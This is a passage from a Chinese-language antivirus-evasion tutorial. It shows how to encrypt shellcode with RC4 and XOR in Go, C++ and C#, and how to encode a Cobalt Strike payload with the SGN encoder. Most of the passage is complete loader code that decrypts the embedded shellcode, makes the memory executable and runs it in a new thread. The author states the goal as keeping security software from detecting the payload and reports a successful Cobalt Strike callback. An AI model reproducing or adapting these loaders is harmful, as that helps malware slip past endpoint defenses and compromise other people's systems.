可以使用 Go 的 crypto/rc4 库实现 RC4 加密和解密

加密版

package main  
  
import (  
    "crypto/rc4"  
    "encoding/hex"    
    "fmt")  
  
// encrypt 使用 RC4 算法加密数据  
func encrypt(key []byte, plaintext []byte) ([]byte, error) {  
    c, err := rc4.NewCipher(key)  
    if err != nil {  
       return nil, err  
    }  
  
    ciphertext := make([]byte, len(plaintext))  
    c.XORKeyStream(ciphertext, plaintext)  
    return ciphertext, nil  
}  
  
func main() {  
    key := []byte("mysecretkey") // 密钥  
  
    // 明文,shellcode  
    plaintext := []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,  
       0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC, 0x28,  
       0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B,  
       0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E,  
       0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,  
       0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F,  
       0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07,  
       0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,  
       0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99,  
       0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E, 0x5B,  
       0x5A, 0x59, 0x58, 0xC3}  
  
    // 加密  
    ciphertext, err := encrypt(key, plaintext)  
    if err != nil {  
       fmt.Println("Encryption error:", err)  
       return  
    }  
    fmt.Printf("Ciphertext (hex): %s\n", hex.EncodeToString(ciphertext))  
}

解密版

package main  
  
import (  
    "crypto/rc4"  
    "encoding/hex"    
    "golang.org/x/sys/windows"    
    "unsafe")  
  
// decrypt 使用 RC4 算法解密数据  
func decrypt(key []byte, ciphertext []byte) ([]byte, error) {  
    c, err := rc4.NewCipher(key)  
    if err != nil {  
       return nil, err  
    }  
  
    decryptedText := make([]byte, len(ciphertext))  
    c.XORKeyStream(decryptedText, ciphertext)  
    return decryptedText, nil  
}  
  
func main() {  
    // 密钥  
    key := []byte("mysecretkey")   
      
    // hex 编码的密文  
    ciphertexthex := "ba822aeb961e6bfaa057565e9b2ea7ea501d26f62ac737a47bc5fb314e9fc648056267e6cf69419ea6403c283c9bf8d22bfc7d5fb35137e6a24bd6c8e20358163dd3a182e7615f975d971025900fbd6605ee76a6f34b0e9510c939f3331239764ed30fae30234ccdc3"  
    // 解密  
    ciphertext, _ := hex.DecodeString(ciphertexthex)  
    shellcode, _ := decrypt(key, ciphertext)  
  
    //申请内存  
    addr, _ := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)  
  
    //   复制shellcode到内存  
    ntdll := windows.NewLazySystemDLL("ntdll.dll")  
    RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")  
    _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))  
  
    //   修改内存权限为可执行  
    var oldProtect uint32  
    _ = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)  
  
    //   创建线程  
    kernel32 := windows.NewLazySystemDLL("kernel32.dll")  
    CreateThread := kernel32.NewProc("CreateThread")  
    thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)  
    _, _ = windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)  
}

数据类型转换

  1. 加密:原始shellcode(字节数组)->RC4加密后(字节数组)->hex编码(字符串)

  2. 解密:密文(字符串)->hex解码(字节数组)->RC4解密后(字节数组,就是shellcode)

五、XOR(异或)

XOR 加密是一种简单而有效的加密方法。XOR 加密的基本思想是将明文与一个密钥进行逐位异或(XOR)操作,从而生成密文。要解密密文,只需再次与相同的密钥进行 XOR 操作即可恢复明文。因为实现比较简单,所以C++、C#、GO均是自实现XOR加密。

5.1 C++

加密版

#include <iostream>
#include <string>
#include <iomanip>
#include <vector>

std::vector<unsigned char> xorEncryptDecrypt(const unsigned char* input, size_t length, const std::string& key) {
    std::vector<unsigned char> output(length); // 创建输出向量,大小与输入相同
    size_t keyLength = key.size();

    for (size_t i = 0; i < length; ++i) {
        output[i] = input[i] ^ key[i % keyLength]; // 逐位异或,循环使用密钥
    }
    return output; // 返回输出向量
}

// 输出十六进制格式的函数
void printHex(const unsigned char* data, size_t length) {
    for (size_t i = 0; i < length; ++i) {
        std::cout << "0x" << std::hex << std::setw(2) << std::setfill('0') << (int)data[i];
        if (i < length - 1) {
            std::cout << ", "; // 在每个字节后添加逗号和空格
        }
    }
    std::cout << std::dec << std::endl; // 恢复为十进制
}

int main() {
    // 明文
    std::vector<unsigned char> plaintext = {
        0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
        0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
        0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
        0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
        0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
        0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
        0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
        0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
        0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
        0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
        0x5B, 0x5A, 0x59, 0x58, 0xC3
    };

    // 密钥
    std::string key = "mysecretkey";

    // 加密
    std::vector<unsigned char> ciphertext(plaintext.size());
    ciphertext = xorEncryptDecrypt(plaintext.data(), plaintext.size(), key);
    std::cout << "加密后的密文: ";
    printHex(ciphertext.data(), ciphertext.size()); // 输出加密后的密文
    return 0;
}

解密版

#include <iostream>
#include <string>
#include <iomanip>
#include <vector>
#include <windows.h>

std::vector<unsigned char> xorEncryptDecrypt(const unsigned char* input, size_t length, const std::string& key) {
    std::vector<unsigned char> output(length); // 创建输出向量,大小与输入相同
    size_t keyLength = key.size();

    for (size_t i = 0; i < length; ++i) {
        output[i] = input[i] ^ key[i % keyLength]; // 逐位异或,循环使用密钥
    }
    return output; // 返回输出向量
}

// 输出十六进制格式的函数
void printHex(const unsigned char* data, size_t length) {
    for (size_t i = 0; i < length; ++i) {
        std::cout << "0x" << std::hex << std::setw(2) << std::setfill('0') << (int)data[i];
        if (i < length - 1) {
            std::cout << ", "; // 在每个字节后添加逗号和空格
        }
    }
    std::cout << std::dec << std::endl; // 恢复为十进制
}

int main() {
    // 密文
    std::vector<unsigned char> ciphertext = {
       0x3d, 0x28, 0x21, 0x36, 0x35, 0x25, 0x30, 0x1e, 0x0b, 0x3f, 0x11, 0x0e, 0x18, 0x1f, 0x06, 0x37, 0x2b, 0x2d, 0xf7, 0x87, 0x4d, 0x1c, 0x25, 0xf2, 0x41, 0x2d, 0xe8, 0x04, 0x7d, 0x3c, 0xe0, 0x13, 0x69, 0x25, 0xd4, 0x3b, 0xee, 0x53, 0x3a, 0xee, 0x0a, 0x5b, 0x66, 0x2e, 0x51, 0xf2, 0x2f, 0x72, 0x4b, 0xf9, 0x11, 0x6b, 0x4b, 0x2d, 0x78, 0x93, 0xf2, 0x27, 0x7a, 0x47, 0x7d, 0xd2, 0x58, 0x7c, 0xe8, 0x2b, 0x6f, 0xd4, 0xf2, 0x59, 0x64, 0x25, 0x0c, 0x1a, 0x2e, 0x10, 0x96, 0xe6, 0x0d, 0x6c, 0x79, 0x2b, 0x73, 0x9b, 0xff, 0x5f, 0xcb, 0x31, 0x6c, 0x8e, 0xea, 0x9a, 0xb4, 0x3a, 0xe6, 0xb0, 0x5b, 0x38, 0x26, 0x33, 0x22, 0x29, 0x3c, 0x3b, 0xb1
    };

    std::string key = "mysecretkey";


    // 解密
    std::vector<unsigned char> decryptedtext(ciphertext.size());
    decryptedtext = xorEncryptDecrypt(ciphertext.data(), ciphertext.size(), key);

    printHex(decryptedtext.data(), decryptedtext.size());

    // 申请一块大小为buf字节数组长度的可读可行的内存区域
    LPVOID pMemory = VirtualAlloc(NULL, decryptedtext.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 将buf数组中的内容复制到刚刚分配的内存区域
    RtlMoveMemory(pMemory, decryptedtext.data(), decryptedtext.size());

    // 创建一个线程执行内存中的代码
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

    // 等待线程执行完成
    WaitForSingleObject(hThread, INFINITE);

    return 0;
}

数据类型转换

  1. 加密:原始shellcode(字节数组)->XOR加密后(字节数组)

  2. 解密:密文(字节数组)->XOR解密后(字节数组,就是shellcode)

5.2 CSharp

加密版

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

class Program
{
    static void Main()
    {
        // 明文
        byte[] plaintext = new byte[] {
        0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50,
        0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26,
        0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,
        0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78,
        0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3,
        0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01,
        0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58,
        0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3,
        0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a,
        0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d,
        0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb,
        0xf0, 0xb5, 0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c,
        0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53,
        0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
        };

        // 密钥
        string key = "mysecretkey";

        // 加密
        byte[] ciphertext = XorEncryptDecrypt(plaintext, key);
        Console.WriteLine("加密后的密文: " + Convert.ToBase64String(ciphertext));
        Console.ReadKey();
    }

    static byte[] XorEncryptDecrypt(byte[] input, string key)
    {
        byte[] keyBytes = Encoding.UTF8.GetBytes(key);
        byte[] output = new byte[input.Length];

        for (int i = 0; i < input.Length; i++)
        {
            output[i] = (byte)(input[i] ^ keyBytes[i % keyBytes.Length]); // 逐位异或,循环使用密钥
        }

        return output; // 返回输出字节数组
    }
}

解密版

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;

class Program
{
    // 声明 Windows API 函数
    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);

    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);

    [DllImport("kernel32.dll")]
    public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

    static void Main()
    {
        // 明文
        string ciphertextbase64 = "kZHxZWNyBf2OVLkJ8iNV6CBp/zlx8h9RfNIpVFSLx1kYEXtfRaK9aHWsh4s/Lvg3c/kvSOApaBWaO2SyI+4tS2Sq5jBrhlk77kDgZK9cht+krH9ks1OFDJt6Dp1YD0EBjz3yNV1ytgX5aT/gPWVsqvhh6HO1/S9BXTYiEjw5I5qUNDoj5muY6D4YZPnu13lteSMNUvkK85Swwp3M0TML1PDJ9pqsUX8Pb+OJhQFu3j5+CxwPYyGaoQgEFQ5XFh0Gcg==";

        byte[] ciphertext = Convert.FromBase64String(ciphertextbase64);

        // 密钥
        string key = "mysecretkey";

        // 解密
        byte[] decryptedtext = XorEncryptDecrypt(ciphertext, key);

        // 申请可执行内存
        IntPtr pMemory = VirtualAlloc(IntPtr.Zero, (uint)decryptedtext.Length, 0x1000 | 0x2000, 0x40);

        // 将 shellcode 复制到申请的内存
        Marshal.Copy(decryptedtext, 0, pMemory, decryptedtext.Length);

        // 创建线程执行内存中的代码
        uint threadId;
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, pMemory, IntPtr.Zero, 0, out threadId);

        // 等待线程执行完成
        WaitForSingleObject(hThread, 0xFFFFFFFF);

        // 释放内存(可选)
        VirtualFree(pMemory, 0, 0x8000);

    }

    static byte[] XorEncryptDecrypt(byte[] input, string key)
    {
        byte[] keyBytes = Encoding.UTF8.GetBytes(key);
        byte[] output = new byte[input.Length];

        for (int i = 0; i < input.Length; i++)
        {
            output[i] = (byte)(input[i] ^ keyBytes[i % keyBytes.Length]); // 逐位异或,循环使用密钥
        }

        return output; // 返回输出字节数组
    }
}

数据类型转换

  1. 加密:原始shellcode(字节数组)->XOR加密后(字节数组)->base64编码(字符串)

  2. 解密:密文(字符串)->base解码(字节数组)->XOR解密后(字节数组,就是shellcode)

5.3 Go

加密版

package main  
  
import (  
    "encoding/base64"  
    "fmt")  
  
// XorEncryptDecrypt  
func XorEncryptDecrypt(input []byte, key string) []byte {  
    keyBytes := []byte(key)  
    output := make([]byte, len(input))  
  
    for i := 0; i < len(input); i++ {  
       output[i] = input[i] ^ keyBytes[i%len(keyBytes)] // Perform XOR operation  
    }  
  
    return output  
}  
  
func main() {  
  
    shellcode := []byte{  
       0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,  
       0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,  
       0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,  
       0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,  
       0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,  
       0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,  
       0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,  
       0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,  
       0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,  
       0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,  
       0x5B, 0x5A, 0x59, 0x58, 0xC3}  
  
    // 密钥  
    key := "mysecretkey"  
  
    // 加密  
    ciphertext := XorEncryptDecrypt(shellcode, key)  
  
    // 输出密文  
    fmt.Printf("Ciphertext: %s\n", base64.StdEncoding.EncodeToString(ciphertext))  
  
}

解密版

package main  
  
import (  
    "encoding/base64"  
    "fmt"    
    "golang.org/x/sys/windows"    
    "unsafe")  
  
// Xor的加密/解密算法  
func XorEncryptDecrypt(input []byte, key string) []byte {  
    keyBytes := []byte(key)  
    output := make([]byte, len(input))  
  
    for i := 0; i < len(input); i++ {  
       output[i] = input[i] ^ keyBytes[i%len(keyBytes)]  
    }  
  
    return output  
}  
  
func main() {  
    // base64编码的密文  
    ciphertextBase64 := "PSghNjUlMB4LPxEOGB8GNyst94dNHCXyQS3oBH084BNpJdQ77lM67gpbZi5R8i9yS/kRa0steJPyJ3pHfdJYfOgrb9TyWWQlDBouEJbmDWx5K3Ob/1/LMWyO6pq0OuawWzgmMyIpPDux"  
  
    // 解密密文  
    ciphertext, err := base64.StdEncoding.DecodeString(ciphertextBase64)  
    if err != nil {  
       fmt.Println("Error decoding base64:", err)  
       return  
    }  
  
    // 密钥  
    key := "mysecretkey"  
  
    // 解密  
    shellcode := XorEncryptDecrypt(ciphertext, key)  
  
    //申请内存  
    addr, _ := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)  
  
    //   复制shellcode到内存  
    ntdll := windows.NewLazySystemDLL("ntdll.dll")  
    RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")  
    _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))  
  
    //   修改内存权限为可执行  
    var oldProtect uint32  
    _ = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)  
  
    //   创建线程  
    kernel32 := windows.NewLazySystemDLL("kernel32.dll")  
    CreateThread := kernel32.NewProc("CreateThread")  
    thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)  
    _, _ = windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)  
}

数据类型转换

  1. 加密:原始shellcode(字节数组)->XOR加密后(字节数组)->base64编码(字符串)

  2. 解密:密文(字符串)->base解码(字节数组)->XOR解密后(字节数组,就是shellcode)

六、SGN工具

正如作者所说:“对于进攻性安全社区来说,shikata ga nai 编码器的原始实现被认为是最好的 shellcode 编码器(到目前为止)。”

前面我们所说的各种加密算法大多都是用于通信加密,而SGN是专门用于生成静态不可检测的二进制有效负载。它的强大无需我多言,看github的star数就可窥一二

生成的 shellcode 通常包含自我解码的逻辑,这意味着它在执行时会首先解码自身,然后执行原始的 shellcode,这样我们的代码可以不用像前面的各种加密算法一样包含需要在代码中完成加密/解密,大大减少了代码量

  1. 利用CS生成payload.bin文件

之前一直拿弹计算器的shellcode作为例子,但是弹计算器的shellcode经过SGN工具编码之后好像不能正常运行?所以我换成CS的shellcode了。记得选择的是Raw的shellcode

  1. SGN编码shellcode

加密后的文件为 payload.bin.sgn

  1. 利用010 Editor 导出shellcode

当然你也可以在代码中直接读取加密后的文件。

导出为C代码

  1. 复制粘贴shellcode,执行加载器代码

#include <Windows.h>

//将刚刚在msf中生成的calc的shellcode复制粘贴过来
unsigned char buf[] = { /*你的shellcode*/};

void main() {

	// 申请一块大小为buf字节数组长度的可读可行的内存区域
	LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// 将buf数组中的内容复制到刚刚分配的内存区域
	RtlMoveMemory(pMemory, buf, sizeof(buf));

	// 创建一个线程执行内存中的代码
	HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

	// 等待线程执行完成
	WaitForSingleObject(hThread, INFINITE);
}

成功上线CS

七、小结

常用的方法

  1. C++中自实现的printHex函数输出0x格式的shellcode我觉得挺好用的。

  2. C++中的 std::vector<unsigned char> 挺好的,这个动态数组容器提供了很多实用的方法,比如size()和data()方法,但是我在网上查阅资料时发现,很少人在免杀用 std::vector<unsigned char>。萝卜青菜,各有所爱,看个人编程习惯吧。

  3. C# 中Encoding

    • Encoding.UTF8:用于UTF-8编码。

    • Encoding.Unicode:用于UTF-16编码(小端)。

    • Encoding.ASCII:用于ASCII编码。

    • Encoding.UTF32:用于UTF-32编码。

  • 重要方法

    • GetBytes(string s):将字符串转换为字节数组。

    • GetString(byte[] bytes):将字节数组转换为字符串。

    • GetByteCount(string s):获取转换为字节数组所需的字节数。

    • GetCharCount(byte[] bytes):获取从字节数组转换为字符串所需的字符数。

  1. C# 的 Convert 类,有两个方法挺常用的

  • Convert.FromBase64String(string s):将一个字符串从Base64编码转换为字节数组。

  • Convert.ToBase64String(byte[] inArray):将字节数组转换为Base64编码的字符串。

  1. Go的 encoding/hex 包

    • hex.Decode(str string):将十六进制字符串解码为字节数组。

    • hex.Encode(array []byte):

  2. Go的string()是强制转换为字符串类型的方法、[]byte()是强制转换为字节数组的方法

至此常用的加密/解密算法和编码/解码技术已经讲完了,还有很多加密/解密、编码/解码算法还未提及,这些算法都可以加密/解密、编码/解码shellcode,但是用我介绍的这些算法就可以让杀软识别不出我们的shellcode,不必花太多时间在这上面。

补充:还有一个Hex编码/解码也是挺常见的,在正文中我未正式的提出,但是不少的代码都有所涉及,这里我就不过多介绍了,请读者到网上查阅相关资料。

Previous2-WindowsAPINext4-特征修改

如何给给Visual Studio添加OpenSSL,详见:

下载地址:

AES的具体代码用例,详见:

可以用官方的标准库 crypto 来实现,但是因为还要额外地写一些代码(填充函数和解填充函数),所以我推荐用别人高度封装好的加密库:

解决参考: 1、 2、

代码参考:

项目地址:

Windows下给Visual Studio添加OpenSSL - p爬 - 博客园
Win32/Win64 OpenSSL Installer for Windows - Shining Light Productions
Aes 类 (System.Security.Cryptography) | Microsoft Learn
GitHub - forgoer/openssl:OpenSSL 库的函数包装,用于对称和非对称加密和解密。
RSA不限长度非对称加密解密C#-阿里云开发者社区 (aliyun.com)
C# RSA加密解密,对字符串长度没有限制_c# 加密字符串超出长度-CSDN博客
Golang 实现RSA加密解密 - ZhiChao& - 博客园
GitHub - EgeBalci/sgn: Shikata ga nai (仕方がない) encoder ported into go with several improvements